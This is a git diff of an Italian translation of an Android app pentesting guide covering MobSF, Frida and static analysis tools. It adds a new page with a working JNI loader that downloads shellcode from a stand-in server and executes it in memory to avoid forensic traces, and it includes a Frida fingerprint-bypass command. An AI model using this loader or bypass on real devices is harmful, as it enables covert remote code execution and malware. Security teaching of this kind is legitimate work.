[a-z]+$" ``` -### **Dati sensibili nel Keystore** +### **Dati sensibili in Keystore** -In Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **sensitive data in clear text**, i pentests dovrebbero verificarne la presenza quando si opera come root user, oppure qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati. +Su Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **sensitive data in clear text**, i pentests dovrebbero verificarlo come root user oppure qualcuno con accesso fisico al dispositivo potrebbe riuscire a rubare questi dati. -Anche se un'app memorizzasse dati nel keystore, i dati dovrebbero essere cifrati. +Anche se un'app ha memorizzato dati nel keystore, i dati dovrebbero essere cifrati. Per accedere ai dati all'interno del keystore puoi usare questo Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -552,19 +557,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Usando il seguente script Frida potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero usare per **proteggere alcune aree sensibili:** +Usando il seguente Frida script potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Immagini di Sfondo** +### **Immagini in background** -Quando metti un'applicazione in background, Android memorizza una **istantanea dell'applicazione** in modo che, quando viene riportata in primo piano, inizi a caricare l'immagine prima dell'app in modo che sembri che l'app sia stata caricata più velocemente. +Quando metti un'applicazione in background, Android memorizza una **snapshot of the application** così quando viene riportata in foreground inizia a caricare l'immagine prima dell'app in modo che sembri che l'app sia stata caricata più rapidamente. -Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare tali informazioni** (nota che è necessario root per accedervi). +Tuttavia, se questa snapshot contiene **informazioni sensibili**, qualcuno con accesso alla snapshot potrebbe **rubare quelle informazioni** (nota che è necessario root per accedervi). -Le istantanee sono solitamente memorizzate in: **`/data/system_ce/0/snapshots`** +Gli snapshot sono solitamente memorizzati in: **`/data/system_ce/0/snapshots`** -Android fornisce un modo per **impedire la cattura di screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, evitando che appaia negli screenshot o che sia visualizzato su display non sicuri. +Android fornisce un modo per **impedire la cattura di screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, i contenuti della finestra sono trattati come sicuri, impedendo che compaiano in screenshot o che vengano visualizzati su display non sicuri. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -574,82 +579,82 @@ Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi din ### Intent Injection -Gli sviluppatori spesso creano componenti proxy come activities, services e broadcast receivers che gestiscono questi Intent e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso. +Spesso gli sviluppatori creano componenti proxy come activities, services e broadcast receivers che gestiscono questi Intents e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso. -Il pericolo consiste nel permettere a un attaccante di attivare componenti non-exported dell'app o accedere a content provider sensibili deviando questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a malicious Intent injections. +Il pericolo consiste nel permettere ad attaccanti di attivare componenti dell'app non-exported o di accedere a content providers sensibili reindirizzando questi Intents. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` ed esegue poi tali Intent, potenzialmente portando a malicious Intent injections. -### Essential Takeaways +### Punti essenziali - **Intent Injection** è simile al problema Open Redirect del web. -- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure. -- Può esporre componenti non-exported e content provider ad attaccanti. -- La conversione di URL in `Intent` da parte di `WebView` può facilitare azioni non intenzionali. +- Gli exploit prevedono il passaggio di oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure. +- Può esporre componenti non-exported e content providers agli attaccanti. +- La conversione da URL a `Intent` di `WebView` può facilitare azioni non intenzionali. -### Android Client Side Injections and others +### Android Client Side Injections e altri -Probabilmente già conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'app Android: +Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi prestare particolare attenzione a queste vulnerabilità in un'app Android: -- **SQL Injection:** Quando si lavora con query dinamiche o Content-Providers assicurati di usare query parametrizzate. -- **JavaScript Injection (XSS):** Verifica che il supporto JavaScript e dei plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: In diversi casi quando l'app Android termina la sessione il cookie non viene revocato o può essere persino salvato su disco +- **SQL Injection:** Quando gestisci query dinamiche o Content-Providers, assicurati di usare query parametrizzate. +- **JavaScript Injection (XSS):** Verifica che il supporto a JavaScript e ai Plugin sia disabilitato per qualsiasi WebView (disabilitato per default). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** Le WebViews dovrebbero avere l'accesso al file system disabilitato (abilitato per default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: In diversi casi, quando l'app Android termina la sessione, il cookie non viene revocato o potrebbe addirittura essere salvato su disco - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## Analisi automatica ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**Analisi statica** ![](<../../images/image (866).png>) -**Valutazione delle vulnerabilità dell'applicazione** usando una comoda interfaccia web-based. Puoi anche effettuare analisi dinamiche (ma è necessario preparare l'ambiente). +**Valutazione delle vulnerabilità dell'applicazione** tramite una comoda interfaccia web. È anche possibile eseguire analisi dinamiche (ma è necessario preparare l'ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Nota che MobSF può analizzare **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Le applicazioni Windows devono essere analizzate da una copia di MobSF installata su un host Windows_).\ +Inoltre, se crei un file **ZIP** con il codice sorgente di un'app **Android** o **IOS** (vai nella cartella root dell'applicazione, seleziona tutto e crea un file ZIP), sarà in grado di analizzarlo. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF consente anche di fare il **diff/Compare** delle analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`, in tal caso l'**hash** sarà **upload** invece del file. ### Assisted Dynamic analysis with MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** può anche essere molto utile per l'analisi dinamica su **Android**, ma in questo caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: è necessario avviare prima una VM in genymotion e poi MobSF._\ +Il **MobSF dynamic analyser** può: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. -- Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- **Dump application data** (URLs, log, clipboard, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente eccetto per gli screenshot: devi premere quando vuoi uno screenshot oppure premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate. +- Catturare **HTTPS traffic** +- Usare **Frida** per ottenere informazioni di **runtime** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Dalle versioni Android **> 5**, avvierà automaticamente Frida e imposterà le impostazioni proxy globali per catturare il traffico. Catturerà solo il traffico dell'applicazione testata. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Di default userà anche alcuni Frida Scripts per bypassare lo **SSL pinning**, il **root detection** e il **debugger detection** e per monitorare API interessanti.\ +MobSF può anche invocare attività esportate, catturarne gli screenshot e salvarli per il report. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Per avviare il testing dinamico premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\ +MobSF permette anche di caricare i propri **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Ha anche diversi script pre-scritti che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta selezionarli, premere "**Load**" e poi "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Inoltre, hai alcune funzionalità ausiliarie di Frida: -- **Enumerate Loaded Classes**: It will print all the loaded classes -- **Capture Strings**: It will print all the capture strings while using the application (super noisy) -- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. -- **Search Class Pattern**: Search classes by pattern -- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. +- **Enumerate Loaded Classes**: stamperà tutte le classi caricate +- **Capture Strings**: stamperà tutte le stringhe catturate durante l'uso dell'applicazione (molto rumoroso) +- **Capture String Comparisons**: può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è stato True o False. +- **Enumerate Class Methods**: inserisci il nome della classe (es. "java.io.File") e stamperà tutti i metodi della classe. +- **Search Class Pattern**: cerca le classi tramite pattern +- **Trace Class Methods**: traccia un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che di default MobSF traccia diversi metodi interessanti delle Android API. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Una volta selezionato il modulo ausiliario che vuoi usare devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**". **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +MobSF fornisce anche una shell con alcuni comandi **adb**, comandi **MobSF**, e comuni comandi **shell** nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti: ```bash help shell ls @@ -660,32 +665,32 @@ receivers ``` **Strumenti HTTP** -Quando il traffico http viene catturato puoi vedere una vista grezza del traffico catturato sul pulsante "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\ -Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Quando il traffico http viene catturato puoi vedere una vista grezza del traffico catturato sul pulsante "**HTTP(S) Traffic**" in basso oppure una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **send** le **captured requests** a **proxies** come Burp o Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Una volta terminata l'analisi dinamica con MobSF puoi premere su "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità. +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to fuzz http requests an look for vulnerabilities. > [!TIP] -> Dopo aver eseguito un'analisi dinamica con MobSF le impostazioni del proxy potrebbero essere mal configurate e potresti non riuscire a correggerle dall'interfaccia grafica. Puoi correggere le impostazioni del proxy eseguendo: +> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Analisi dinamica assistita con Inspeckage +### Analisi Dinamica Assistita con Inspeckage -Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Questo tool usa alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**. +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Questo è un **ottimo strumento per eseguire un'analisi statica con una GUI** +Questo è un **ottimo tool per eseguire static analysis con una GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Questo tool è progettato per cercare diverse **vulnerabilità di sicurezza relative ad applicazioni Android**, sia nel **source code** che negli **packaged APKs**. Lo strumento è anche in grado di creare una "Proof-of-Concept" deployable APK e comandi **ADB**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario eseguire il root del dispositivo di test. +Questo tool è progettato per cercare diverse **vulnerabilità legate alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** sia negli **packaged APKs**. Lo strumento è inoltre **capace di creare un "Proof-of-Concept" deployable APK** e **ADB commands**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario eseguire il root del dispositivo di test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,9 +699,9 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Mostra tutti i file estratti per consultazione rapida +- Mostra tutti i file estratti per un facile riferimento - Decompila automaticamente i file APK in formato Java e Smali -- Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni +- Analizza AndroidManifest.xml alla ricerca di vulnerabilità e comportamenti comuni - Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni - Informazioni sul dispositivo - e altro @@ -705,11 +710,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per individuare tali vulnerabilità. +SUPER è un'applicazione a riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza i file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevarle. -Tutte le regole sono contenute in un file `rules.json`, e ogni azienda o tester può creare regole proprie per analizzare ciò di cui ha bisogno. +Tutte le regole sono centralizzate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui ha bisogno. -Scarica i binari più recenti dalla [download page](https://superanalyzer.rocks/download.html) +Scarica i binari più recenti dalla [pagina di download](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -717,9 +722,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn è uno strumento **multipiattaforma** che aiuta sviluppatori, bugbounty hunters e ethical hackers a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobile. +StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, bugbounty hunters e ethical hackers nello svolgimento di [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili. -Il concetto è che trascini e rilasci il file della tua applicazione mobile (un .apk o .ipa file) sull'applicazione StaCoAn e questa genererà per te un report visuale e portabile. Puoi tweakare le impostazioni e le wordlists per ottenere un'esperienza personalizzata. +Il concetto è che trascini e rilasci il file della tua applicazione mobile (un .apk o .ipa file) sull'applicazione StaCoAn e questa genererà per te un report visivo e portatile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata. Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -727,7 +732,7 @@ Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework è un sistema di analisi delle vulnerabilità Android che aiuta sviluppatori o hackers a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\ +AndroBugs Framework è un sistema di analisi delle vulnerabilità per Android che aiuta gli sviluppatori o hackers a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +740,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** è uno strumento il cui scopo principale è rilevare e avvisare l'utente riguardo potenziali comportamenti dannosi sviluppati da un'applicazione Android. +**Androwarn** è uno strumento il cui scopo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti maligni sviluppati da un'applicazione Android. -La rilevazione viene eseguita tramite **static analysis** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard). +La rilevazione viene eseguita tramite la **static analysis** del Dalvik bytecode dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard). -Questo tool cerca i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Questo strumento cerca **comportamenti comuni di applicazioni "malevole"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,15 +752,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** è un Framework per il Mobile Application Reverse engineering e Analysis. È uno strumento che mette insieme tool comunemente usati per il reverse engineering e l'analisi di mobile application, per aiutare nei test delle applicazioni mobili contro le minacce di sicurezza OWASP mobile. Il suo obiettivo è rendere questo compito più semplice e fruibile per gli sviluppatori di app mobili e i professionisti della sicurezza. +**MARA** è un framework per il Reverse engineering e l'Analisi delle applicazioni mobile. È uno strumento che mette insieme tool comunemente usati per il mobile application reverse engineering e l'analisi, per assistere nel testing delle applicazioni mobile contro le minacce OWASP mobile security. Il suo obiettivo è rendere questo compito più semplice e accessibile a sviluppatori di applicazioni mobile e professionisti della sicurezza. -È in grado di: +Può: - Estrarre codice Java e Smali usando diversi strumenti - Analizzare APK usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) - Estrarre informazioni private dall'APK usando regexps. - Analizzare il Manifest. -- Analizzare i domini trovati usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Analizzare i domini trovati usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) - Deoffuscare l'APK tramite [apk-deguard.com](http://www.apk-deguard.com) ### Koodous @@ -764,43 +769,43 @@ Utile per rilevare malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Nota che, a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero o meno risultare offuscati. +Nota che, a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti possono risultare offuscati oppure no. ### [ProGuard]() -Da [Wikipedia](): **ProGuard** è uno strumento open source da linea di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode così come rilevare e rimuovere istruzioni non usate. ProGuard è software libero e viene distribuito sotto la GNU General Public License, versione 2. +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. -ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la build dell'applicazione in modalità release. +ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la build dell'applicazione in release mode. ### [DexGuard](https://www.guardsquare.com/dexguard) Trovi una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Da quella guida) L'ultima volta che abbiamo verificato, la modalità di funzionamento di Dexguard era: +(Da quella guida) L'ultima volta che abbiamo controllato, la modalità di funzionamento di DexGuard era: - caricare una risorsa come InputStream; -- passare il risultato a una classe che eredita da FilterInputStream per decrittarla; -- fare qualche inutile offuscamento per far perdere qualche minuto a un reverser; -- passare il risultato decrittato a uno ZipInputStream per ottenere un file DEX; +- passare il risultato a una classe che eredita da FilterInputStream per decrittarlo; +- fare un po' di offuscamento inutile per far perdere qualche minuto a un reverser; +- passare il risultato decrittato a ZipInputStream per ottenere un file DEX; - infine caricare il DEX risultante come Resource usando il metodo `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard inverte il processo di offuscamento eseguito dagli strumenti di offuscamento Android. Ciò abilita numerose analisi di sicurezza, inclusa l'ispezione del codice e la predizione delle librerie.** +**DeGuard inverte il processo di offuscamento eseguito dagli strumenti di offuscamento Android. Questo abilita numerose analisi di sicurezza, inclusa l'ispezione del codice e l'identificazione delle librerie.** Puoi caricare un APK offuscato sulla loro piattaforma. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Usa l'API pubblica Gemini di Google. +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -È un deoffuscatore Android generico. Simplify esegue virtualmente un'app per capirne il comportamento e poi cerca di ottimizzare il codice in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale tipo specifico di offuscamento sia stato usato. +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD ti dà informazioni su come è stato creato un APK. Identifica molti compilers, packers, obfuscators e altre cose strane. È il [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android. +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual @@ -810,24 +815,20 @@ APKiD ti dà informazioni su come è stato creato un APK. Identifica molti compi ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include la raccolta dei più recenti framework, tutorial e lab di diversi esperti e ricercatori per il reverse engineering e l'analisi malware. +AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. -## References +## Riferimenti - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..086ee4c56 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Esecuzione di codice nativo in memoria su Android via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +Questa pagina documenta un pattern pratico per eseguire payloads nativi interamente in memoria da un processo di un'app Android non attendibile usando JNI. Il flusso evita la creazione di qualsiasi binario nativo su disco: scaricare byte raw di shellcode via HTTP(S), passarli a un bridge JNI, allocare memoria RX e saltarci dentro. + +Perché è importante +- Riduce gli artefatti forensi (nessun ELF su disco) +- Compatibile con payloads nativi “stage-2” generati da un exploit ELF binario +- Corrisponde alla tradecraft utilizzata da malware moderni e red teams + +Schema ad alto livello +1) Recuperare i byte dello shellcode in Java/Kotlin +2) Chiamare un metodo nativo (JNI) passando l'array di byte +3) In JNI: allocare memoria RW → copiare i byte → mprotect a RX → chiamare l'entrypoint + +Esempio minimo + +Lato Java/Kotlin +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +Lato C JNI (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +Note e avvertenze +- W^X/execmem: Le versioni moderne di Android 